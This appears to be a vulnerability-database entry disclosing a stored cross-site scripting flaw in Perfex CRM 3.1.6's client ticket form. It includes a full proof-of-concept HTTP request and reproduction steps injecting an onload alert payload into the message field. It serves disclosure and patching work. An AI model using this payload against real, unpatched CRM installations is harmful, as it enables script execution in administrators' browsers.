| 제목 | Perfex Perfex CRM 3.1.6 Cross Site Scripting |
|---|
| 설명 | A stored Cross-Site Scripting (XSS) vulnerability was identified in Perfex CRM, specifically in the open ticket functionality. This vulnerability allows an attacker to inject malicious JavaScript into the message parameter of the ticket submission form, which is stored on the server and executed when administrators or other users view the ticket. The vendor has acknowledged the issue and provided a temporary fix, with a patch pending in a future release. CodeCanyon, the platform hosting Perfex CRM, has also initiated their process to ensure the vulnerability is addressed.
The developer and CodeCanyon have been informed of the vulnerability. The developer confirmed the issue and provided a temporary fix, while an official solution is waiting to be released. CodeCanyon also said they are actively working with the developer to make sure the problem is fixed.
Proof of Concept:
POST /perfex/clients/open_ticket HTTP/1.1
Host: 192.168.1.16
Content-Length: 958
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.16
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYOUSBSv8TScP0MN8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.16/perfex/clients/open_ticket
Accept-Encoding: gzip, deflate, br
Cookie: csrf_cookie_name=5edada6dd436d0f723d69b2f2d22d692; contact_language=english; sp_session=mth17comeclv6jp5ijtgf1gnnbvb91gc
Connection: keep-alive
------WebKitFormBoundaryYOUSBSv8TScP0MN8
Content-Disposition: form-data; name="csrf_token_name"
5edada6dd436d0f723d69b2f2d22d692
------WebKitFormBoundaryYOUSBSv8TScP0MN8
Content-Disposition: form-data; name="subject"
XSS Proof
------WebKitFormBoundaryYOUSBSv8TScP0MN8
Content-Disposition: form-data; name="project_id"
------WebKitFormBoundaryYOUSBSv8TScP0MN8
Content-Disposition: form-data; name="department"
1
------WebKitFormBoundaryYOUSBSv8TScP0MN8
Content-Disposition: form-data; name="priority"
2
------WebKitFormBoundaryYOUSBSv8TScP0MN8
Content-Disposition: form-data; name="service"
1
------WebKitFormBoundaryYOUSBSv8TScP0MN8
Content-Disposition: form-data; name="message"
XSS Proof <body onload=alert("Vulnerable")>
------WebKitFormBoundaryYOUSBSv8TScP0MN8
Content-Disposition: form-data; name="attachments[0]"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryYOUSBSv8TScP0MN8--
a malicious payload is injected into the message field, which, when viewed by an admin or any user, triggers the JavaScript alert.
Steps to Reproduce:
1. Navigate to the open ticket form on the Perfex CRM client portal.
2. Submit the form, injecting the following payload into the message parameter:
<body onload=alert("Vulnerable")>
3. The payload is successfully stored in the system.
When an admin or any user views the ticket, the malicious script is executed in the victim's browser. |
|---|
| 원천 | ⚠️ https://bytium.com/stored-cross-site-scripting-xss-vulnerability-in-perfex-crm/ |
|---|
| 사용자 | suffer (UID 74855) |
|---|
| 제출 | 2024. 09. 13. PM 06:28 (2 연령 ago) |
|---|
| 모더레이션 | 2024. 09. 14. AM 10:06 (16 hours later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 277504 [Perfex CRM 3.1.6 Parameter Clients.php message 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 20 |
|---|